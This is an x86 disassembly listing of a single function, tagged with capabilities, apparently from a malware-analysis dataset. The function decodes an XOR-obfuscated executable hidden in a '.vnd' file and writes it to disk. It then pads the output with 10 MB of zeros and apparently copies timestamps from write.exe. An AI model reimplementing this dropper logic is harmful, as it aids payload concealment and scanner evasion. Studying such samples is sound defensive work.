Function at 0x402680
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Encode data using xor
Get file attributes
Get file size
Read file on windows
Write file on windows

Disassembly:
sub esp, 0xac0
push ebx
push ebp
mov ebp, dword [esp + 0xacc]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x60]
push ebp
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [esp + 0x14]
lea edx, [esp + 0x60]
push ecx
push edx
mov word [esp + 0x1c], 0x2a
mov word [esp + 0x1e], 0x2e
mov word [esp + 0x20], 0x76
mov word [esp + 0x22], 0x6e
mov word [esp + 0x24], 0x64
mov word [esp + 0x26], 0
call esi
lea eax, [esp + 0x678]
mov ebx, 0x65
push 0x104
push eax
mov word [esp + 0x28], 0x77
mov word [esp + 0x2a], 0x72
mov word [esp + 0x2c], 0x69
mov word [esp + 0x2e], 0x74
mov word [esp + 0x30], bx
mov word [esp + 0x32], 0x2e
mov word [esp + 0x34], bx
mov word [esp + 0x36], 0x78
mov word [esp + 0x38], bx
mov word [esp + 0x3a], 0
call dword [0x406134]
lea ecx, [esp + 0x678]
push 0x406010
push ecx
call esi
lea edx, [esp + 0x678]
lea eax, [esp + 0x470]
push edx
push eax
call edi
lea ecx, [esp + 0x20]
lea edx, [esp + 0x470]
push ecx
push edx
call esi
mov eax, dword [esp + 0xadc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x402985
lea ecx, [esp + 0x880]
lea edx, [esp + 0x60]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x402975
mov eax, 0x6c
mov word [esp + 0x36], bx
mov word [esp + 0x3e], ax
mov word [esp + 0x48], ax
mov word [esp + 0x4a], ax
mov word [esp + 0x3c], bx
lea eax, [esp + 0x34]
xor ebx, ebx
push eax
mov word [esp + 0x38], 0x6b
mov word [esp + 0x3c], 0x72
mov word [esp + 0x3e], 0x6e
mov word [esp + 0x44], 0x33
mov word [esp + 0x46], 0x32
mov word [esp + 0x48], 0x2e
mov word [esp + 0x4a], 0x64
mov word [esp + 0x50], bx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea ecx, [esp + 0x268]
push ebp
push ecx
call edi
lea edx, [esp + 0x8ac]
lea eax, [esp + 0x268]
push edx
push eax
call esi
push ebx
push ebx
push 3
push ebx
push 3
lea ecx, [esp + 0x27c]
push 0x80000000
push ecx
call dword [0x406140]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x40296e
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
mov dword [esp + 0x10], ebx
cmp edi, 0x2800
jbe 0x402967
cmp edi, 0x3e800
jae 0x402967
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x402985
lea edx, [esp + 0x10]
push ebx
push edx
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp byte [esi], 0x4d
je 0x4028a0
cmp byte [esi + 1], 0x5a
je 0x4028a0
xor eax, eax
cmp edi, ebx
jbe 0x4028a0
mov cl, byte [eax + esi]
xor cl, 0x2e
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x402892
mov eax, dword [esp + 0xadc]
push ebx
push ebx
push 2
push ebx
push 3
push 0x40000000
push eax
call dword [0x406140]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402967
lea ecx, [esp + 0x10]
push 0
push ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
push ebx
call edi
push 0xa00000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
xor eax, eax
mov byte [eax + esi], al
inc eax
cmp eax, 0xa00000
jl 0x4028e8
lea edx, [esp + 0x10]
push 0
push edx
push 0xa00000
push esi
push ebx
call edi
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea eax, [esp + 0x470]
push 0
push 0
push 3
push 0
push 3
push 0x80000000
push eax
call dword [0x406140]
mov esi, eax
cmp esi, 0xffffffff
je 0x402960
lea ecx, [esp + 0x50]
lea edx, [esp + 0x58]
push ecx
push 0
push edx
push esi
call dword [0x406154]
lea eax, [esp + 0x50]
lea ecx, [esp + 0x50]
push eax
lea edx, [esp + 0x5c]
push ecx
push edx
push ebx
call dword [0x406158]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xac0
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xac0
ret